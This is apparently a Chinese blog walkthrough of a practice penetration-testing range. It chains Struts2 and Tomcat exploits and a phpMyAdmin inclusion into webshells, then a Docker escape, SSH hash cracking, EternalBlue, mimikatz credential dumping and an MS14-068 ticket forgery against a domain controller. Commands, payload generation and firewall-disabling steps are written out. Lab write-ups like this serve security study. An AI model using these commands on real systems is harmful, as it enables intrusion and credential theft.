# 环境搭建

# 网络拓扑

  • web:192.168.183.133 192.168.157.132 密码 : ubuntu:ubuntu
  • DC:192.168.183.128 密码 administrator:Test2008 ——>Asd123456789
  • 域控 : win7 192.168.183.130 密码 : douser:Dotest123

# 网卡

创建两张仅主机网卡

vm0

image-20220907220905835

vm1

image-20220907221008626

# 注意事项

web 要在 win7 启动之后启动,win7 修改永不息屏

# web

image-20220907221131721

需要重新启动前面几个个容器

image-20220908172238184

image-20220907222216990

# DC

image-20220907221209020

image-20220907222228483

# win7

image-20220907221238206

image-20220907222136071

# 外网打点

# 主机发现

nmap -sC -sV -Pn  -T5 192.168.157.128

扫得不是很完全,分几次才扫完

┌──(root㉿kali)-[~]
└─# nmap -sC -sV -Pn  -T4 192.168.157.128

Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-08 04:43 EDT
Nmap scan report for 192.168.157.128
Host is up (0.0011s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 6d:1e:e7:55:ee:d7:2b:22:d7:6b:68:67:df:39:f5:7b (DSA)
|   2048 5e:ca:2c:70:8f:a2:0c:bf:10:d7:26:2b:15:5f:3f:58 (RSA)
|   256 de:b5:6a:a8:24:6a:13:45:cc:87:21:c3:c2:ee:b2:10 (ECDSA)
|_  256 8e:02:ca:99:6e:c2:eb:8f:0c:5c:bb:c9:b2:f5:06:4d (ED25519)
2001/tcp open  http    Jetty 9.2.11.v20150529
| http-cookie-flags: 
|   /: 
|     JSESSIONID: 
|_      httponly flag not set
|_http-title: Struts2 Showcase - Fileupload sample
2002/tcp open  http    Apache Tomcat 8.5.19
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/8.5.19
2003/tcp open  http    Apache httpd 2.4.25
| http-robots.txt: 1 disallowed entry 
|_/
Service Info: Host: 172.19.0.2; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 96.59 seconds

image-20220908164601974

发现 22 有 ssh 开放,2001 是一个 Structs2 框架,2002 有一个 tomcat,2003 一个 Apache 服务

  • 2001

image-20220908164740564

  • 2002

image-20220908164751472

  • 2003

image-20220908164803593

# Structs2 利用

https://github.com/xfiftyone/STS2G

┌──(root㉿kali)-[/home/soft/STS2G-master]
└─# ./ST2G --url http://192.168.157.128:2001/ --mode scan
未指定漏洞编号,默认全检测
Struts2-001 Not Vulnerable.
Struts2-005 Not Vulnerable.
Struts2-007 Not Vulnerable.
Struts2-008 Not Vulnerable.
Struts2-009 Not Vulnerable.
Struts2-012 Not Vulnerable.
Struts2-013 Not Vulnerable.
Struts2-015 Not Vulnerable.
Struts2-016 Not Vulnerable.
*Found Struts2-045
panic: runtime error: invalid memory address or nil pointer dereference                                       
[signal SIGSEGV: segmentation violation code=0x1 addr=0x40 pc=0x679fcd]
goroutine 1 [running]:
ST2G/cvemod/s046.Check({0x7fffcd187714, 0x1c})
        /mnt/e/soft/STS2G-master/cvemod/s046/s2-046.go:28 +0x26d
main.main.func1(0xc0000754a0?)
        /mnt/e/soft/STS2G-master/ST2SG.go:143 +0x2a9
github.com/urfave/cli/v2.(*App).RunContext(0xc00018a000, {0x8277f8?, 0xc0000160a0}, {0xc0000120a0, 0x5, 0x5})
        /home/miku/go/pkg/mod/github.com/urfave/cli/v2@v2.1.1/app.go:311 +0x9cc
github.com/urfave/cli/v2.(*App).Run(...)
        /home/miku/go/pkg/mod/github.com/urfave/cli/v2@v2.1.1/app.go:211
main.main()
        /mnt/e/soft/STS2G-master/ST2SG.go:218 +0x566

image-20220908165311845

扫到了 045 漏洞,然后利用

┌──(root㉿kali)-[/home/soft/STS2G-master]
└─# ./ST2G --url http://192.168.157.128:2001/ --mode exec --vn 45  --cmd id
uid=0(root) gid=0(root) groups=0(root)

image-20220908165458607

# 信息收集

看一下根目录

image-20220908165618417

发现.dockerenv,判断容器在 docker 里面

# 反弹 shell

可以用 python 或者 bash 反弹,2001 漏洞利用到这里

# Tomcat 利用

Tomcat 版本是 8.5.19,搜一下漏洞

https://paper.seebug.org/1677/

先抓个包

image-20220908170320336

这里首先测试一下,改为 PUT 方法写入一个 test.txt ,这里看到返回 201,应该已经上传成功了

image-20220908170433963

然后访问

image-20220908170505863

接着写一个 jsp 即可

image-20220908171951960

冰蝎连接

image-20220908172023182

执行命令

image-20220908172046862

这一台容器也是 docker, 2002 漏洞利用到这里

# phpmyadmin 利用

https://www.vulnspy.com/phpmyadmin-4.8.1/

http://192.168.157.128:2003/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

image-20220908172854676

# getshell

phpmyadmin 执行的命令会存储到 session 里面,那么我们写一个 shell 进去,再包含到这个文件即可

image-20220908173155514

然后查看当前 session

image-20220908173218079

?target=db_sql.php%253f/../../../../../../../../tmp/sess_f6a522dd52292fbe55836f8385c802c0

image-20220908173414429

然后我们写一个 webshell

image-20220908174056041

再包含一下,带上 cookie 用蚁剑连接

image-20220908174246857

看了一下这一台也是 docker

image-20220908174528275

# docker 逃逸

https://xz.aliyun.com/t/8558

https://blog.zjun.info/tech/some-docker-escape-vulnerabilities/

先用 tomcat 的 root 权限的 shell 进行操作

查看磁盘

image-20220908175400860

利用恶意挂载进行逃逸

image-20220908175708523

这样就成功逃逸了

# ssh 利用

cd /test/home/ubuntu

image-20220908180054568

进入.ssh

image-20220908180142699

查看 id_rsa

image-20220908180208489

# john 爆破

本地创建一个 id_rsa,将值复制进去

image-20220908180643466

利用 ssh2john 进行爆破得到哈希

image-20220908181419878

然后放到 hash 文件里面

./ssh2john.py id_rsa > id_rsa.hash

开始跑

john id_rsa.hash

image-20220908191530791

爆出来是 ubuntu

跑出来之后如下操作

image-20220908182309613

此时就要输入 john 爆破出来的密码,然后 ssh 连接即可

这里还能用另一种方法

# shadow 文件

image-20220908182517767

复制到本地,下个 Seclists

john shadow --wordlist=/home/soft/Seclists/Passwords/2020-200_most_used_passwords.txt --format=md5crypt-long

image-20220908190833871

清一下缓存

image-20220908191051982

image-20220908191350334

跑出来咯

ubuntu : ubuntu

ssh 连接

image-20220908191743563

# 信息收集

# 提权

先升级为 root

image-20220908192215823

# ip

image-20220908191902610

外网一张网卡:192.168.157.128, 内网一张网卡:192.168.183.129,还有一些 docker 网卡

# fscan

看一下靶机有没有 wget

image-20220908192303036

那么本地起一个 web 服务上传 fscan

image-20220908193100214

root@ubuntu:~# ./fscan -h 192.168.183.0/24
   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.7.1
start infoscan
(icmp) Target 192.168.183.129 is alive
(icmp) Target 192.168.183.128 is alive
(icmp) Target 192.168.183.130 is alive
[*] Icmp alive hosts len is: 3
192.168.183.130:445 open
192.168.183.128:135 open
192.168.183.130:139 open
192.168.183.130:135 open
192.168.183.129:22 open
192.168.183.130:88 open
192.168.183.128:445 open
192.168.183.128:139 open
[*] alive ports len is: 8
start vulscan
[+] NetInfo:
[*]192.168.183.130
   [->]WIN-ENS2VR5TR3N
   [->]192.168.183.130
[+] NetInfo:
[*]192.168.183.128
   [->]TESTWIN7-PC
   [->]192.168.183.128
[+] 192.168.183.130     MS17-010        (Windows Server 2008 HPC Edition 7601 Service Pack 1)
[*] 192.168.183.130[+]DC DEMO\WIN-ENS2VR5TR3N   Windows Server 2008 HPC Edition 7601 Service Pack 1
[*] 192.168.183.128      __MSBROWSE__\TESTWIN7-PC       Windows 7 Enterprise 7601 Service Pack 1
[+] 192.168.183.128     MS17-010        (Windows 7 Enterprise 7601 Service Pack 1)
[*] 192.168.183.130[+] DC DEMO\WIN-ENS2VR5TR3N   Windows Server 2008 HPC Edition 7601 Service Pack 1
    [*] 192.168.183.128      __MSBROWSE__\TESTWIN7-PC       Windows 7 Enterprise 7601 Service Pack 1

# 横向移动

# PC

注意到 dc 开了 88 端口,可以利用一下

# frp

frps.ini

[common]

bind_port = 7000 

frpc.ini

[common]

server_addr = 192.168.47.130

server_port = 7000

[socks_proxy]

type = tcp

remote_port = 8989

plugin = socks5 

放后台运行

./frpc -c frpc.ini &

image-20220908194318678

# msf 上线

fscan 发现 PC 存在 msf17, tnnd 不要用 proxychains msf , 在调用模块的使用设置 proxies,不然进不去 shell

msf6 > search ms17-010
[proxychains] DLL init: proxychains-ng 4.15
[proxychains] DLL init: proxychains-ng 4.15
Matching Modules
================
   #  Name                                      Disclosure Date  Rank     Check  Description
   -  ----                                      ---------------  ----     -----  -----------
   0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-010 SMB RCE Detection
   4  exploit/windows/smb/smb_doublepulsar_rce  2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution
Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/smb/smb_doublepulsar_rce                                                                                                          
msf6 > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhost 192.168.183.128
rhost => 192.168.183.128
msf6 exploit(windows/smb/ms17_010_eternalblue) > setg proxies socks5:127.0.0.1:8989
proxies => socks5:127.0.0.1:8989
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

拿下

image-20220908195406574

# 信息收集

# sysinfo

image-20220908195439925

image-20220908195610176

# ipconfig

image-20220908195513641

# kiwi

image-20220908200504775

douser        DEMO    Dotest123

# 远程桌面

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 

image-20220909103449087

此时已经修改了注册表,打开了 3389 端口

proxychains rdesktop 192.168.183.128

image-20220909103655471

按照抓取的密码输入会有一些问题

image-20220909103815157

这个需要将 win7 切换到工作组,然后重新加入域才行

这里修改系统管理员密码

net user administrator Abc123456

再激活

net user administrator /active:yes

image-20220909104118140

开启桌面

image-20220909104359983

# DC

# 伪造票据

先拿到 PC 的 sid,首先就是迁移 meterpreter 到 douser

image-20220909104942847

image-20220909105025635

demo\douser S-1-5-21-979886063-1111900045-1414766810-1107

然后利用 MS14

MS14-068.exe -u douser@demo.com -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 

image-20220909105242172

生成一个 TGTxx.ccache 缓存

image-20220909105317274

然后使用 mimikatz

kerberos::list  #显示当前票据

kerberos::ptc TGT_douser@DEMO.com.ccache   //将票据注入

image-20220909105554363

将票据注入之后退出

image-20220909105753574

这里使用 klist 查看下票据已经注入进去了

image-20220909105853602

接着看看访问域控

dir \\WIN-ENS2VR5TR3N\C$ 

image-20220909110436342

利用本地用户即可访问

最后使用 PsExec 上线

PsExec64.exe /s   \\WIN-ENS2VR5TR3N cmd 

image-20220909111131039

报错了,换个方法

# test2

直接使用 ipc 连接域控,注意这里需要用主机名而不能用 ip

net use \\WIN-ENS2VR5TR3N

生成一个正向连接的 msf 马

msfvenom -p windows/x64/meterpreter/bind_tcp lhost=192.168.47.130 lport=4444 -f exe -o bind.exe

关掉防火墙,先上传到 win7

netsh advfirewall set allprofiles state off 

image-20220909121158550

使用 sc 关闭防火墙

https://developer.aliyun.com/article/430662

sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"

sc \\WIN-ENS2VR5TR3N start unablefirewall

使用 copy 命令复制到 DC 上后使用 sc 创建计划任务

https://www.cnblogs.com/yumianhu/p/3710743.html

schtasks /create /tn "test" /tr C:\Users\Public\bind.exe /sc MINUTE /S 192.168.183.130


  /Create         创建新计划任务。
  
  /TN   taskname     指定唯一识别这个计划任务的名称。
  
  /TR   taskrun      指定在这个计划时间运行的程序的路径和文件名。
  例如: C:\windows\system32\calc.exe
  
  
  
  /S   system        指定要连接到的远程系统。如果省略这个系统参数,默认是本地系统

寄了

# msf 上线

之前看到这一台也有永恒之蓝,直接替换 rhost

image-20220908212737208

请我喝[茶]~( ̄▽ ̄)~*

miku233 微信支付

微信支付

miku233 支付宝

支付宝

miku233 贝宝

贝宝